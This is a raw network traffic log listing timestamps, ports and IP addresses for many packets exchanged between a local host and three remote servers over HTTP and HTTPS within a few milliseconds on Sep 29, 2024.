Sep 29, 2024 00:53:24.319648981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319654942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319667101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319672108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319677114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319681883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319693089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319699049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319705963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319711924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319716930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319721937 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.319722891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319724083 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.319729090 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.319729090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319736958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319741011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319747925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319758892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319762945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319777966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319778919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319782019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319787979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319794893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319832087 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319875002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319881916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319892883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319897890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319902897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319909096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319920063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319921970 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319926023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.319938898 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.319956064 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320099115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320105076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320115089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320120096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320125103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320131063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320137024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320147991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320148945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320163965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320175886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320175886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320183039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320188999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320194960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320194960 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320194960 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320202112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320207119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320213079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320219040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320219040 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320225000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320235968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320241928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320247889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320249081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320249081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320252895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320259094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320265055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320271015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320277929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320290089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320328951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320429087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320435047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320446014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320451021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320456982 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320465088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320487022 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320487022 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320523024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320610046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320616007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320626974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320632935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320637941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320643902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320650101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320655107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320658922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320661068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320667982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320672035 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320676088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320681095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320689917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320704937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320719004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320746899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320754051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320765972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320770979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320776939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320787907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320794106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320799112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320800066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320811033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320817947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320827961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320832014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320833921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320842981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320864916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320892096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320899010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320903063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.320908070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320913076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320924044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320930004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320940018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320941925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320941925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.320945978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320960045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320966959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320977926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320982933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.320987940 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.320988894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.320993900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321017027 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.321109056 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.321309090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321315050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321331978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321338892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321388006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321393967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321400881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321403027 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321414948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321420908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321434021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321440935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321446896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321458101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321460009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321460009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321496010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321496010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321620941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321626902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321638107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321641922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321652889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321657896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321669102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321671009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321676016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321686029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321686983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321691036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321698904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321721077 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321721077 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321723938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321742058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321774006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321780920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321790934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321796894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321800947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321808100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321819067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321825027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321829081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321835041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321850061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321850061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321871042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321871996 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321877003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321890116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321892977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321897030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321904898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321908951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321914911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321923018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321926117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321926117 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321932077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321938038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321940899 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.321943045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321948051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321953058 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321959019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321959972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.321959972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.321964979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.321970940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.321983099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322011948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.322011948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.322011948 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.322051048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322051048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322386026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322391987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322405100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322411060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322424889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322432995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322438002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322438955 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322444916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322452068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322457075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322469950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322474957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322477102 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322477102 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322482109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322491884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322498083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322504997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322509050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322510004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322516918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322523117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322527885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322531939 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322532892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322531939 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322539091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322544098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322556973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322565079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322566986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322572947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322578907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322582006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322583914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322592974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322599888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322611094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322613001 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322648048 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322654009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322654009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.322993994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.322999954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323009968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323015928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323020935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323025942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323031902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323038101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323044062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323054075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323060989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323060989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323064089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323064089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323069096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323081017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323086977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323107958 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323112965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323120117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323121071 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.323127031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323143005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323149920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323154926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323160887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323165894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323173046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323184013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323187113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.323187113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.323189020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323194981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323200941 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.323231936 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.323250055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323250055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323484898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323491096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323502064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323508024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323513985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323518991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323529959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323539972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323544025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323551893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323555946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323556900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323565006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323575974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323580027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323584080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323592901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323607922 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323631048 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323658943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323671103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323677063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323688030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323700905 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323702097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323704958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323705912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323713064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323715925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.323724985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323726892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323729038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323734045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323736906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323743105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323746920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.323749065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323767900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323774099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323786974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323792934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.323796988 CEST	49712	80	192.168.2.9	176.113.115.95
